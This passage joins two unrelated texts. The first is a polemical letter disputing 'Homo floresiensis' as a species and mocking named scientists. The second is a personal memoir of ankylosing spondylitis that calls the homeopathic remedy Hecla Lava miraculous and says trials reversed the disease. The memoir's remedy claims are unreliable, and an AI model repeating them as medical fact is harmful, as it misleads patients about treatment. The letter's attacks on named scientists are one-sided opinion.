to impugn our scientific integrity and veracity, or to play a game of whac-a-mole with various smug paleoanthropologists (you quoted Dean Falk, but there are some others with similar fantasies and agendas). My own assessment is that these few highly vocal paleoanthropologists are in the situation often depicted in the Wile E. Coyote cartoons, which are not sophisticated but are symbolically evocative of an insupportable situation as yet unrealized – up in the air inertially before a kinetic fall. Looney Tunes are where you find them, whether Hollywood in California, or Florida and New Mexico. Another perspective is the one posed decades ago in the financial realm by the British-American inventor of the discipline of security analysis, Benjamin Graham: “In the short run the market is a voting machine; in the long run it is a weighing machine.” For the last decade the vast majority of paleoanthropologists, science writers, and bloggers have been voting for “Homo floresiensis” as a new species with wondrous attributes. The weight of rejection will come as more of the initially credulous onlookers join us as sceptics. In contrast with a more credible assessment (presented in our published papers and put into broader interpretive perspective in the several essays on), Dean Falk for years has retailed the myth that the battle to defend “Homo floresiensis” is one in which a tiny band of courageous scientists, not surprisingly, rally ‘round Dean Falk as sort of a modern day Joan of Arc among them, bravely holding aloft not the Lily Banner of France but the Flores hobbit hankie, handy for knowing which way the breeze of media fashion is blowing. These warriors must hold out against vast armies of reactionary human evolutionary biologists who are irrationally defending the status quo (which really is ineffably more complicated, but who needs complex reality when a stirring – and self promoting — simplistic tale can be told?). Of course, anyone with even a passing knowledge of the matter knows that precisely the opposite is true. Despite the easy verifiability of the real situation, the myth has Dr. Falk shedding her woman’s weeds not for chain mail and a charger but for a lab coat and the trusty Mallinkrodt Institute magic scanner. Thus attired and armed, she assumes the mantle (over or under her lab coat, I’m not sure) of Raymond Dart, who on behalf of Australopithecus africanus really did, largely alone at first, then subsequently with the help of Robert Broom and a very few others, meet massed opposition from the field for about thirty years during the enduringly specious but widely accepted reign of one misleading individual British skull. Dart’s is an exemplary story that is true; Dr. Falk’s is a distorted facsimile; Gucci it ain’t, but street vendors are legion and sell on the cheap. Raymond Dart worked in an environment shaped by the highly popular find at Piltdown that was endorsed as a valid stem human species, Eoanthropus dawsoni. A majority of anatomists and physical anthropologists (some of them, such as Sir Arthur Keith, highly influential) believed in it. Piltdown was doubted by only a few respected comparative anatomists such as William King Gregory, and by other more marginalized but still highly original morphologists such as Franz Weidenreich. Dart’s support for the hominid status of Australopithecus africanus de facto put him in the position of being against the contrasting pattern represented by Piltdown. In obsessively defending the validity of “Homo floresiensis” and attacking all unbelievers, Dean Falk publicly represents herself as the present counterpart of Raymond Dart during his years of struggle on behalf of Australopithecus africanus as a valid, primitive hominin species. But… Professor Falk, I knew Raymond Dart. Raymond Dart was a colleague of mine. Professor Falk, you’re no Raymond Dart. I knew Raymond Dart only to a modest degree but wish intensely that it had been more. During the early to mid 1970s, he offered me advice when I was challenging, at great professional cost, the evolutionary status of Ramapithecus as the earliest hominid. Now Ramapithecus is no more than another of paleoanthropology’s sequential embarrassments that are forgotten as fresh ones are being engendered. Our contact occurred during the period when Dart consulted regularly at the Institutes for the Achievement of Human Potential in Philadelphia, work made possible because Dart was not only a superb comparative anatomist, but also a medical doctor with interest in diagnosing and helping children believed to have developmentally abnormal brains. Later I also met him in South Africa and was surprised but pleased that he remembered me after nearly a decade. Like many truly great scientists, he was magnanimous in creating and sharing knowledge rather than building and protecting personal status. Among other members of our research group, Maciej Henneberg has a connection of an indirect sort with Raymond Dart. Dart was for many years Head of the Anatomy Department at Wits (University of the Witwatersrand) in Johannesburg, South Africa. After a long tenure in the position, Dart was succeeded as Wits Anatomy Department Head for more than thirty years by Philip Tobias (who, incidentally, was a reader/referee of our 2006 PNAS paper on the Flores skeletons, endorsing our steadfast views – then as now — that LB1 was not a valid type specimen for a new hominin species, instead being a developmentally abnormal individual). In turn, after a stint in a Communist prison for his activity as a Solidarity leader at Mickiewicz University in Poznan, Poland, and prior to his present appointment as the Wood Jones Professor of Anthropological and Comparative Anatomy at Adelaide, Maciej Henneberg, too, was Wits Anatomy Department Head for a period following Philip Tobias. It also is worth mentioning briefly here Dr. Kenneth Hsü, the other senior member of our team. According to another journalist, an anthropologist named William Jungers, who is based in Long Island, New York and a common collaborator with Dean Falk, is reported to have said that Dr. Hsü committed “an abuse of the PNAS review process, because Dr. Hsu is a hydrologist and a member of the National Academy (foreign member)….” Compartmentalizing Dr. Hsü as a hydrologist is comparable to describing Michelangelo as a ceiling painter; as with some other things that Dr. Jungers has said when faced with views that he finds challenging intellectually, his recent ad hominem characterization of Dr. Hsü is a faint simulacrum of the truth. Dr. Hsü’s pertinent involvement in our three papers published in PNAS (one in 2006, two in 2014) derives, among other things, from his knowledge of factors influencing the dynamics of sea level change, a matter of great importance to understanding the probabilities and routes of contact between populations on Flores and elsewhere in the region. Among a great many other attainments and distinctions, Dr. Hsü has received the Twenhofel Medal (the highest award from the Society for Sedimentary Geology); the Penrose Medal (the highest honor of the Geological Society of America); and the Wollaston Medal (considered the highest honor in Geology, with previous recipients including Charles Lyell, Thomas Henry Huxley, and Charles Darwin). If questioning some aspect or application of evolutionary theory (as Dr. Hsü has done several times) makes one an anti-evolutionist, then all four of these gentlemen perhaps have earned the epithet of “anti-evolutionist” along with most others in the field who think at all critically. But academics who attack the reputations of others who disagree with them, do so in the hope that some of the diversionary tactics will work by deflecting attention from substantive research findings. Unfortunately, they sometimes do, at least for a time. So what? Make no mistake. Before writing and publishing our two recent papers in PNAS, we knew that there would be an attempt to exact a reputational penalty for what is at its core not only a challenge to the interpretation of “Homo floresiensis” as such, but also is an attempt to shine a spotlight onto the central dogma of paleoanthropology: mophological difference = species distinctiveness; this assumed identity statement then usually is framed within a Kiplingesque Just-So Story, the more exotic the better. If one visualizes the challenge to “H. floresiensis” as a valid species and the challenge to paleoanthropology’s central dogma as circles in a Venn diagram, they overlap quite extensively, since the first very largely is a subset of the second. A third circle overlapping these two is the scientific refereeing system as it now exists in a very imperfect form (to be generous); abuse of the supposedly impartial refereeing system is an increasingly serious problem in all of science, but nowhere more than in paleoanthropology. There is neither time not space here to address, as it should be more fully, this larger matter of rigged refereeing. However, there should be no doubt that the cries of outrage on the part of Dean Falk, Chris Stringer, William Jungers, and a few others, are not raised legitimately over our referees’ abilities or suitability, but because somehow we managed to get our ideas about the Liang Bua Cave specimens out into the open where the expanded body of evidence can be considered and the resultant new hypotheses tested. We hope that many evolutionary biologists will be willing actually to read our two recent papers (which are available free on PNAS Open Access). After studying the papers, as well as the previous literature on the Liang Bua Cave skeletons, readers who have a sense of academic integrity might think about the contents and implications of the papers before posting comments or writing replies, something that I have not seen much evidence of so far. To comment without reading what we have written represents the best (that is to say, the worst) tradition of attacking the messenger so as not to have to deal with the message, and also thereby giving others – particularly science writers and other journalists — an excuse for also not reading the papers. What about Dean Falk’s statement that “The paper failed to include any comparisons between people with Down’s [sic] syndrome and the fossil [sic]… ‘If it had, you would see clearly that they look nothing like the Flores specimen. The idea is nonsense.’” Dr. Falk’s statement is untrue on its face. It does not acknowledge that “comparisons” legitimately and conventionally can be verbal as well as visual (as well as auditory, olfactory, and tactile, not applicable here). This specially restricted usage is not original with Dr. Falk, however. In it she echoes the sentiments of Humpty Dumpty in Lewis Carroll’s Through the Looking Glass: science “mastery” properly refers to level of understanding of the subject matter, not as here, the power to restrict expression about it. The broader misrepresentations attributed to Dr. Falk in the brief quote range from disingenuous to deceptive. - The Liang Bua Cave remains are not fossils in any sense other than the Latin literal meaning of “something dug up from beneath the surface of the ground.” They are rather soft and fragile unfossilised bones (to such an extent that in 2005 I would not handle many of them for fear of causing damage); thus applying the term fossil to these bones from Flores implies a false antiquity. This misleading aura also pervades the first two papers that appeared late 2004 in Nature on “Homo floresiensis” as well as many of the largely descriptive pieces published on them in the Journal of Human Evolution. All of those papers, with their rhetorical but anatomically equivocal comparisons with Homo erectus and earlier hominins, could have used some critical referees; but of course unlike our papers in PNAS, whose readers are acknowledged freely and thus exposed to criticism, referees of the Nature and JHE papers remain covert and cannot be called to responsible account. - There is not one paper recently published by us in PNAS. There are two. The first presents the evidence that LB1, the type specimen of “Homo floresiensis,” is developmentally abnormal. This condition necessarily bars it from being accepted as the type specimen of a valid, unique species. In that first paper we make the point that regardless of any particular diagnosis, “Homo floresiensis” is fatally flawed as a valid taxon. The Falks of the world will, by sidestepping the logic, ignore that inconvenient impediment to their views, continuing their practice of years past. The second paper then builds on that critique of species status to outline the basis for a diagnosis of LB1 (and as far as we can tell from the sparse evidence, only LB1), as presenting a strikingly good match for an individual with Down syndrome. Again, counter to Dr. Falk’s deceptive statement that we failed “to include any comparisons between people with Down’s [sic] syndrome,” these comparisons are made in our Table 1 and extensively in one of the online supplements, where we provided five pages of detailed descriptive comparisons between LB1 and individuals with Down syndrome. The matches in facial asymmetry, pelvic morphology, and inter-limb proportions are particularly apposite. - What of visual comparisons? In their attacks on previously attempted specific diagnoses for the anomalies seen in LB1 (e.g. Laron syndrome, endemic cretinism – neither of which was ours), a key tactic used by the Hobbiteers was presentation of one or a few visual examples (such as radiographs) that were said not to match. In the case of Down syndrome this inherently typological strategy will not work except as allowed by credulous or complicit journal editors. If past is prologue, the extremely great range and diversity of syndromic expressions (here, in Down syndrome) will be denied, misrepresented, or not represented at all. This is not to say that our hypothesis cannot be tested, but rather that we doubt most seriously that Dr. Falk and her collaborators have the inclination and ability to do this adequately and objectively, or that sympathetic journal editors will oblige them to do so. - From previous observations of the papers that we have seen from the supporters of “Homo floresiensis” we anticipate that regional variation in human populations will be ignored. Typical of this stratagem is the repeated comparison of the LB1 skull with that of some strikingly contrasting specimen of an unidentified extant Homo sapiens individual (the image having been used persistently on the web sites of Nature and National Geographic, among others), almost certainly from a European population. The visual effect of such a comparison is to have scale effects swamp other points of visual comparison. In our first paper, “Rare events…,” Fig. S2 takes regional anatomical features into account, comparing the LB1 skull with that of Liang Momer E, a later human burial on Flores, also using a more comparable anatomical orientation. Among recent humans – a sample that includes the individuals represented by bones from the Liang Bua Cave as well as those on Palau – geographic regional population resemblance is critically important. And overall, variation within and between populations is far more extensive – and patterned — than has been acknowledged by many paleoanthropologists. What about the potential comparative evidence from the Liang Bua Cave itself? Part of the framework of casuistry propping up “H. floresiensis” is that the species is represented in the form of a fairly large number of individual specimens. Numbers such as 9, 11, 13, 14 often are mentioned as comprising the sample. The resultant impression is incredibly misleading. The LB1 specimen has the only skull, along with about a third or half of the rest of the skeleton (most long bones, incomplete clavicle, most foot bones, a few carpals, etc.). But the tally of bones per individual falls off sharply from there. Probably next is LB6, with a mandible, partial scapula, several carpals, etc. From there the tally of bones per each individual skeleton decreases steadiy, finally dropping to a scatter of fragments. Maciej Henneberg and I know that this is the case because we are among the very few people outside of the selected group of “H. floresiensis” supporters to have seen all of the bones in Indonesia. We have been trying — not only without success but completely without any acknowledgment that the matter is of any interest — to have Peter Brown and the Indonesian curators publish photographs of the set of bones assigned to each of the individuals enumerated (but so far not systematically illustrated). There exist published photos of LB1 (repeated everywhere), but not any comparable photos for any of the remaining individuals. For the most part, only photographs of selected bones have been published. So now let’s have them: LB6, LB2,…LB14, etc. Then there should be, I think, one last photo that shows all of the unassigned bits; these will be small, indeterminate, and fairly numerous. Assembling each of the sets of individual bones would not require much time (the sorting and enumeration must have been done already, else whence the notional numbers of individuals?); nor would taking the photographs be difficult. Any one of several journals would publish such a set of photographs without demur or delay. If this were done, then everyone would have a more realistic visual image of the amount of evidence that actually exists for the material recovered from Liang Bua Cave. Until then, they don’t. And it is particularly baffling that almost no one seems to care. It seems that we have faith-based paleoanthropology. Because I’m not long on faith, I’ll offer a hypothesis: photographs for each separate individual in the total sample of bones, as called for here, will not be published. That hypothesis easily could be tested, but it will not be because to do so would shatter the carefully built impression of numerous individuals showing high phenotypic uniformity. As a well-regarded journalist you occupy an important position in this scientific standoff. One small step would be to clarify in print that you merely were repeating, not endorsing, Dr. Falk’s biased characterization of our work. Beyond that, we hope that you will take another step that should be considered as entirely neutral, but potentially of enormous benefit to the study of human evolutionary biology in raising the level of discourse about the Liang Bua Cave bones: helping to catalyze release of the requested full set of photographs, one per individual, of all of the supposedly numerous skeletons from the cave. In your longer article that preceded the paragraph cloned from the Guardian Observer, you noted that the taxon Hallucinigenia had been said to be part of a radiation but itself left no descendants. Part of the genius of the recent insightful discovery is that, despite the organism’s apparent oddities, by using a different perspective (turning it upside down) scientists could connect the organism to some extant populations. Our approach has been to look at the LB1 specimen not upside down but from the outside in. We purposefully have removed discussion of the Liang Bua Cave bones from the exclusively insiders’ perspective that had been used so far by some narrowly trained paleoanthropologists, to broader comparison with biomedical evidence as well, all within in a geological and biogeographic framework. As a result, our group’s research points in the same direction as the findings about Hallucinigenia: despite their diversely unusual aspects, the inhabitants of Liang Bua Cave are related to surviving extant human populations of the region, and are transformed by this broadening of perspective from being a misrepresented, inexplicable alien to a developmentally different person of a very human minority who still walk among us hoping individually for acceptance rather than stigmatization as being so alien as not to be accepted as part of our own species. “Freedom is the right to tell people what they do not want to hear.” – George Orwell

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It is more common in the older population than the young, affecting more men than women, and for many of the years I was suffering, like many others, it was never diagnosed. Although it is a genetic disease, to suffer it in early life usually means there was a trigger that activated the condition. In my case I believe it was a case of Glandular Fever, which hit me quite hard when I was 18. My glands didn’t all recover at the same rate so left me with glandular imbalances. That kick started the AS prematurely, my glandular imbalance making my body think it was older than it was, otherwise like millions of others, my body may have grown old with the AS only manifesting itself in my later life. But as it was it was a condition that plagued my twenties and thirties with a range from daily pain to severe ‘unable to move’ times. From my early thirties I have had a rigid spine from the base to the mid thoracic (between the shoulder) area. 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I had times where I would spasm, the pain so great I would literally get stuck, either in a chair, at the top of the stairs, in bed; in the kitchen once, and in that circumstance I was stuck where I stood for 8 hours unable to move from where my then husband left me that morning until he returned; I was so exhausted and cold; it was not a good time. If out and about, I would have to look at the ground, checking for unevenness, but also avoid people who may accidentally bump into me, or cause me to suddenly move out of their way in busy areas, these were all risk-assessed daily activities that potential were agony for me. I had been very sporty in my teens and early twenties, but the pain in the back and hips made me have to give it all up. My whole life was being governed by my pain level and mobility of the day. I had lived free to do what I wanted, body fully capable and able, but that had all stopped by the age of 24. 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And when I did have cause to call the Doctor, they used to tell me, it was just a bad period; even though I often had to use crutches to be able to get around. It was a hugely challenging chapter of my life, because I always wanted to have a family. I could conceive but the inflammation in my body, and the internal pressure, even the natural swelling a woman’s body incurs during a period, would be enough to inflame me so much, it would be extremely painful, and in many cases enough to end my pregnancies. I always looked incredibly healthy though, so when doctors saw me, they never saw me as a person with a severe problem, they never offered me any tests, scans – nothing, I felt very isolated and very much on my own. The fact I was not going to be a mum was crushing. But, the thought I could pass this gene on to my child and give them a life of pain, was a bit of an antidote to my sadness, because I wouldn’t wish the pain I’d had on anyone, never mind my own child. So I did have to convince myself, against every cell in my body, not being a biological mum was actually for the best, the gene would stop with me. I resigned myself to the fact that as this was my body and it was down to me to cope with the peculiarities best way I could find. In my mid thirties whilst working in the Midlands I had a major flare up, I sought help from an Osteopath who again eased the severe pain, but he realised there was something else going on. He referred me to a friend of his, a Chiropractor who had X-ray facilities, and I promptly had my first X-ray. The Chiropractic Practice had 5 practitioners, who were all asked to leave their patients for 5 minutes to consult on my X-ray. I was then summoned into the room and with their serious faces staring at me, looking at my every pained movement, was shown the X-ray for myself. It was an unanimous opinion that I should be in a wheelchair, and they would expect a person with the spine in the X-ray to be paralysed, I was a source of awe and astonishment, I was in shock. I was rushed to hospital from their premises and given an MRI, CAT scan, blood tests, breathing tests; was assessed for my needs, observed at how I moved, how I got out of a chair, laid on a bed, everything. All of these activities I had to achieve slightly differently to the norm. It was a bit of a whirlwind to be honest, and quite scary. I had been treating people with Holistic Therapies especially Remedial Massage, and Body Therapies for 15 years, so I had a good understanding of how the body worked, and had used the knowledge from such therapies and Kundalini Yoga on myself to that date. Diet and supplements played an essential role too. At the hospital I was asked if I’d attend a weekly AS Support Group. Specialists I saw were at a loss as to what to advise and couldn’t understand how I was still mobile never mind living a life like I was. I was a little like a guinea pig, shown off to give hope to newly diagnosed patients, and inspiration to fellow suffers. On good days, I could still touch my toes, which strengthened their message of how important exercise is with AS, and I could still breathe well. The reasons I could were because, with my back being rigid and being born with a straight spine, I flex from the hips, having long hamstrings. And because I breathe from my abdomen, I still have a good quality breath. My ribcage didn’t flex, I had the shallowest of breath if I tried to breathe from the chest, and it wouldn’t have been a realistic way to breathe to sustain life. I was also told one of the scans revealed there was some fibrosis in the upper lung due to the stagnation in the lung tissue. I remember one man in the group, who was in his 70s and was permanently attached to an oxygen tube because his AS was advanced like mine, his ribcage had fused and he was constantly breathless; he was also quite bent over creating more chest restriction. I talked with him at length and very soon he managed to breathe a bit from his tummy, releasing a different man. He laughed and smiled and whilst still in a terrible state, he felt he was recovering some ground with his demise instead of only losing more and more. Breathing techniques are something so simple, we obviously all have to breathe, but literally breathing techniques can be life changing. Had I not abdominally breathed, I too would probably have been attached to the oxygen in a wheelchair. I was given a reality check too by attending this class. I saw people who were like me when I was in my early twenties, but they still had full flexibility in their spines. And the other end of the spectrum when the body had totally been taken by AS presenting the end result, that was the stage I will probably progress to next, and it was a very humbling stage of acceptance. Most AS sufferers in the latter stages become very bent over, as the AS pulls the normal curvature of the spine over. With my poker straight spine, the fusing has kept me upright so far, something I am very grateful for. Thankfully I have an amazingly strong Faith that gives me an inner strength that just takes over. It is a Faith I have always had, it isn’t a religion, or a learnt belief, it has always been a force within me. Quite early on whilst being racked with pain, I gave my ‘inner force’ the reins when I was at a loss as to what else I could do. I couldn’t cope with the pain my body was in on my own, I needed to let go of the willpower I was using to hang on. It was like a literal conversation I had with myself, I handed myself over to ‘it’ to help me get through. I remember saying ‘it’s over to you, I can’t do this’, and I physically let myself go into an abyss, I had no idea what would happen next. I stopped physically fighting the pain and let my body go. It was the first time I truly felt the separation between the ‘spiritual self’ as I call it, and the physical body. It was a case of me looking at my body as a separate entity. In those days I still didn’t know what was wrong with me, so I was fighting blind so to speak, but this Faith kept me living my life as fully as I could up to the point of diagnosis in my mid thirties. That diagnosis gave me such confusion, elation, fear and loss. Finally I had a reason for my struggle, for the pain. My mind, which had always been strong, could now reassess how best to deal with a body that was uniquely challenged by a named disease. Like being told for the first time what brand of vehicle my body was and I now had to start to understand how it functioned and how to maintain it without a manual. I was advised to use a wheelchair, because I would need it before long anyway, and told if I moved suddenly or bent over say to put my shoe on I could be paralysed in that second. I was given a very bleak prognosis. Naturally I had no idea what the future would hold, I was only being given very negative, very distressing news, which naturally was hard to hear. I carried on with my life as I had always done, but with full respect of my condition. It wasn’t going to be an easy ride, and many, many times it was proved that I didn’t have a huge say in how my body was going to be. It was very humbling; it was also quite surreal, never knowing from one day to the next whether I could function relatively normally when I woke up, or whether I’d be in agony; whether the day would pass without incident or not. But life did indeed go on, and the years did go by. There were so many instances, that looking back now I really do not know how I kept going. I think at times, it was harder for my family and friends who had to see me in agony and constantly struggling with regular things, and them being helpless to do anything about it. But regardless, my Faith and or inner strength made me face each day with vigour and determination. I’d heard people who had suffered near death experiences talk of similar attitudes to their daily lives. I always looked so well and healthy, I was a true conundrum, and happy to say still am. I kept my life as healthy as I could, never deviating from the natural ways of healing that was my passion, my life; a vegetarian diet suited my body and me very well, being less acidic so lessening the inflammation in my body. AS is classed as an Auto Immune Disease, so the more I could do on a daily basis to improve my health the better. I am blessed to have good health, and it is something I do not consciously disregard. I did have some painkillers prescribed by my consultant, for the worse case scenarios, when the pain was just too much to keep moving, or even breathe. These pills would knock me out for 8 hours straight, and most times I woke up with a body that I could move, but granted it would be very fragile, I could carry on. A couple of times my abdomen went into spasm, very suddenly and severely, It was a fight to breathe. The paramedics were called, they were there for peace of mind really, as I had to draw on inner control to soften the muscles and get a breath for myself. Those around me at the time were terrified It happened in a flash as I was simply putting the dinner on the table, I froze mid movement, as the spasm gripped my abdomen, and as that was where I took my breath from, very soon my face and hands all stiffened and contorted, it was quite scary. But again I had to draw on that ‘other’ part of me to talk myself through the attack, keep calm, with no idea whatsoever how it was going to play out. I took daily organic phytonutrient rich supplements that ensured my body was being given the best possible nutrition over and above what I ate and drank. It doesn’t make any sense to me to abuse yourself and then suffer because of it. We all have challenges in our lives, but some can be made better if responsibility is taken, and changes are made to improve how we look after our body and minds. And on the spin side, conditions can and are made so much worse by poor body management. The quality of life can be a case of what we give ourselves to live on, and how we breathe dictating our health. I sought the advice of a fantastic friend and colleague who is a multi disciplined Natural Therapy Practitioner; he has been in practice for many, many years, what he doesn’t know, isn’t worth knowing, he is amazing. He used to give me acupuncture and he researched my AS diagnosis and how it affected my body. He gave me the homeopathic remedy Hecla Lava. It had been trialled in other countries on AS patients with some very good results, so he was optimistic it would help. It needs to be prescribed professionally to make sure it’s the most appropriate remedy for you, but thankfully for me, it was a miraculous remedy. Within a week I was feeling so much better. I kept taking the remedy for years, and it facilitated me having some of the best years of my life. I was fully active in every part of my life. I could move my ribcage again and there was ‘softness’ in the spine, it still didn’t bend but it no longer felt like a metal rod. I could breathe from my chest; I could sneeze and still love sneezing to this day having had years of not being able to. I can cough, yawn, could even do a short jog if needs must. Sure I have stiffness when I do something particularly physical, but so would anyone else. I would see Consultants regularly and they always took a second look as I walk through the door, as their perception of the person my file portrayed to them, in no way should be as mobile as I am. I have been given no advice, no guidance, nor hope whatsoever, just painkillers and the impending wheelchair and operations to look forward to. No one has been able to explain how I still have the mobility I have, how I don’t live on painkillers, how I can still lean over and touch my toes, bending from the hips not the back you understand. They have shown no interest in asking what it is I am doing, which I was hopeful could be passed on to offer advice and hope to fellow sufferers who go to them, desperate for guidance and hope. It has frustrated me, and I have purposely mentioned the homeopathic Hecla Lava that I take, which has changed my life in itself. I wanted to be able to help in offering hope to AS sufferers. My quality of life is better than most peoples, I just have a rigid spine and have to move differently to accommodate that, be respectful of my body’s abilities but still live an active life. I have had creeping on 16 years of wellbeing – in relation to my back, now, relatively pain free years I never dreamt I would be able to have. I have wondered many times, how I would be today if I had been given that Hecla Lava remedy in the very early days, before all the fusing had taken place. Some of the results in the trials had reversed the condition completely in fellow sufferers; by the time I started taking it, ¾ of my spine was already fused, I was at the wrong end of the scale to get the best possible result, but still, it helped beyond my wildest dreams. I have always continued teaching Yoga classes, which give me a time to reflect and reinstate to myself the importance of correct breathing, taking time to quieten the mind and listen to yourself, coupled with disciplined exercise. It gave me the chance to prove to myself I still had a lot to give and could still help others. I had to improvise, be eloquent, inspire enthusiasm on the occasions I couldn’t do the exercise, I had to preach with a “do as I say, not do as I do!” kind of attitude, another learning curve. Yoga isn’t a case of having to have the most flexible spine you can imagine, as I can vouch, think of a plank of wood and you’ve got what mine’s like! It’s the whole discipline of mind, body and soul, finding that balance of harmony within that strengthens you in every part of your life, balance. I learnt over the years to manage my pain and abilities very well. Many people who met me or came to me as a patient never realised I had my own spinal problems; they didn’t realise I had no flex whatsoever in my back, even to this day. As I treated patients with back problems, I was able to share empathy and understanding of the pain, the restrictions, the fear and desperation that can come with having a bad back. I had first hand experience of which areas of the back can and do affect another part, or another part of your body and your life. In many ways it gave me a fantastic sixth sense that cannot be taught or learnt. I also realised that a healthy attitude, managing the fear does make a difference to people’s tolerances of pain and restrictive bodily functions. I was able to inflict an enormous amount of physical power into the remedial treatments, far more than my slight framework should have been able to. I am fascinated by our minds, they are so powerful and under used; they are so unique and can totally transform your life. Learning how to calm and clear the mind, to unwind and relax mentally is a very important part to well being; discovering who we are, and what we are capable of. To be able to listen to your intuition, and have the courage to follow your own thoughts is an amazingly empowering ability. A lot of physical problems and illnesses are exasperated and sometimes are even manifestations of mental imbalances, be they emotional irrationality or a fear from a known or unknown source. Our minds can be so complex but at the same time, so wonderfully simple. Learning how to breathe properly can quieten the mind, thus enable relaxing of the body. It gives us time to mentally process data that is constantly bombarding our bodies and minds, and when we are faced with a problem that isn’t going to go away, like AS. Having a mental ability to deal with reality can mean the difference of coping and not coping. It helps through the transition of change that inevitably will be needed. Over the last couple of years I have noticed changes in my spine. Of course I am older, 50+, and in some ways I’m of the age when people first find out they have the condition of AS. My body is changing too due to hormonal changes which even without something like AS, affects the bones, but because of AS I am already at a higher risk of getting Osteoporosis over and above the norm. When I was diagnosed it was hard to find anyone of similar age that was as far on in the disease as I was. I was told my spine was like an 80 year olds instead of a thirty something year old it was. Today there is the Internet where it is much easier to find fellow sufferers who can share their situations with you, who can offer help, support and advice. There is so much advice out there; there are forums, you name it, and you can find it. I hope I will be one such ‘port of call’ should you think I can offer assistance in any way in helping you or a relative, friend, partner who has the AS diagnosis. When it all seems very daunting and insurmountable, don’t give up, there will always be an avenue yet to be explored, and there are always alternative ways of looking at the situation. The more information you have, the better armed you are for the journey ahead. Although the Internet is good for gathering information, you do need to seek professional advice and not take the Internet’s word as the only word, there are pro’s and con’s of such information, just be aware. And needless to say, some AS sufferers never experience the great degree of pain I endured, and some keep a good level of flexibility and mobility, not everyone suffers the full spinal fusing. With my neck being the latest chapter of living with AS, it had stiffened a lot, and I’d started with referred pains and tingling into my hands. I had another MRI scan which showed my neck had already fused, apart from one joint. I was amazed because there hadn’t been the pain. I thought that was going to be the next chapter, but having been saved the pain, I was a lot further on the road to total fusion that I realised. After being referred to a Neuro-surgeon because of the seriousness of the MRI scan, I was informed that the additional bone growth that fractures off in the neck being much finer, had created bulging, and that is now pressing close to the Spinal Cord. It would only progress and lack of control in my feet would be an indication that the Spinal Cord is being restricted. Surgery will be required at this stage. The one remaining mobile joint is taking the brunt of all my neck movement, and the disc is bulging, impinging on the nerve rootlets, hence the arm referral. It wasn’t a rosy consultation, and the stiffness in my neck was affecting everything I did. My arms were tired and felt weak, so even less of the things I was still able to do, where now on the endangered list. My life plan was again under review, every aspect was running through my mind, and I was spending time thinking through the fuller implications that lie ahead. Advised against massage to save the remaining joint of ‘freer’ movement, the headaches were quite severe, and pains in the eyes, a general pressure and tension in my head were daily occurrences that tire you out. My norm now, was that my head swivelled on the top of my neck so to speak, looking up was very restricted and down less so. I could still turn my head side to side, but any physical work I did, came at a greater cost and took longer in recovery time. Recently I had a trip to York Minster with my mum and nephew from Canada, and within a short period of time of being there, my neck let me know it was not at all happy with the looking head high and above. Half way round I could only look ahead and down felt good. By nightfall my neck was exceptionally stiff and painful, with more limited mobility. By the next day, my head had seized – no pain, but it just wouldn’t move from the looking forward position. It just would not move, full stop. After a few days, unable to drive and do very much, not even drink without a straw I had to try something. Whilst laid down I manually pushed my head, millimetre by millimetre as I tried to relax my neck muscles, until I had my head turned to the side. After an hour I could turn my head side to side as if in slow motion, so I had hope there was a chance of recovery, rather than the operation is nigh. After a couple of weeks, I was still struggling, and it was tough going, knowing it would hurt if I did anything and stiffen back up again, I wasn’t making any headway – excuse the pun, whatsoever. Lethargy is not a trait I really adhere to, but I could feel myself resigning to this is how it’s going to be, and it didn’t bode well with me mentally. One Friday night I demonstrated to my partner, just how little movement I had, and I was going to have to rethink my life. He was naturally concerned, I am never usually defeatist, but he could see how little movement I had. Saturday morning, after feeling inspired having watched some Qi Qong, and my best friend asking ‘what are we going to do?’ I got up early, put some mediation music on the earphones, stood outside in the sunshine and started to connect with myself again. A practice I had stopped doing some years ago. I was back on the full dose of Hecla Lava, but I knew I had more inside that I needed to connect with to help me through this stage. Feeling the sun on my face and body, letting the music fill my head and mind, I started to breathe and connect with my core. Eyes closed I let my body dictate the moves. Slow and gentle, building into powering energy into muscles then releasing it out, balancing all the muscles that pulled tight from my thoracics, into my shoulders and arms, up into the neck. After an hour, my neck was free enough to turn my chin to the shoulders; I could look down and look up at the sky. I felt I had worked and stretched out all the layers of muscles that had tightened over the years, to give me the mobility I hadn’t had in many years. My neck is still fused, but the muscles are no longer tight and pulling nor hurting. I ran upstairs and showed off my new mobility like a child on Christmas morning. The power I felt inside myself, the feeling of reconnecting to an energy source deep inside me, still brings tears to my eyes three weeks on. Each morning I do an hour of predominantly upper body stretching and the difference is nothing short of remarkable. Already my body feels like its changed shape, I feel slimmer, longer, my neck is definitely slimmer, I feel strength back in my shoulders and upper back. I feel so much better for the daily stretch out, and each morning I have repeated the routine, never consciously forcing the stretches, they seem to flow one into another of their own accord. If someone were to observe me, I guess they would think I was doing a form of Tai Chi. Half an hour each morning now is enough to keep the suppleness in the muscles, it has transformed my daily life once more. Inspired and delighted, for however long this new state of being lasts, I can only chastise myself for letting so much time lapse without this disciplined practice, and secondly, be so proud of myself for having the courage to dig deep and unleash that power within; to reconnect, I feel like I’ve found a part of me I had lost. Thank goodness my lovely nephew came to visit, I’ll be eternally grateful! I am, thankfully, still on my journey. I remain grateful for the years I’ve had out of pain, and realise in some people’s opinion, it was time I theoretically shouldn’t have had, I know that for myself. But at the same time there hasn’t been a day go by when the effects of AS haven’t been felt in one way or another, a hundred fold latterly with my neck. So as my journey continues forever changing, I have no option but to accept it and deal with it best way I can. AS isn’t going to go away by me being in denial of the facts, I am still theoretically on borrowed time, but at least I have been honest to myself and my own abilities; drawing on intuition and the strengths I hold most dear, up until I need intervention from another source. Having that mind set is a great comfort, but it does get tested, and there will be times when I feel down and overwhelmed by it; I hope as in the past I get the strength to pull myself up again. But I am only human and there are no guarantees, you can only do your best, that’s all I can ask of yourself. I labour the point we are all unique and that we all need to deal with our challenges in life individually. If my life’s experience can help anyone come to terms with a similar scenario, then I am fulfilling an inborn desire to help others. The more avenues you have open to you, gives a freedom of choice. I am lucky for many reasons, but particularly because of my knowledge of the body and how it works. I understand the importance of diet, lifestyle, exercise and mental attitude. I am predisposed to a natural holistic slant to life, and was able to turn that inward to help myself. There is no guidebook as such, nothing is chiselled in stone, we need to find what works for us, and have the freedom, choice and support to follow it. I’ve counselled patients over the years, when they start reaching their golden years, or when they have a condition that is life changing, and to admit they can no longer do certain things, no matter how much they loved doing them, is not giving up or admitting to failure. It’s the start of a new chapter of your life. It’s respecting the body you have, and accepting what it can and can’t do. The acknowledgment of your body’s abilities in the here and now, not living today wishing for yesterday and it’s abilities, and not to dread the tomorrows. I’ve talked to myself on this topic, because at my age you would expect me to be still very active and ‘normal’, yet I have to acknowledge and stop 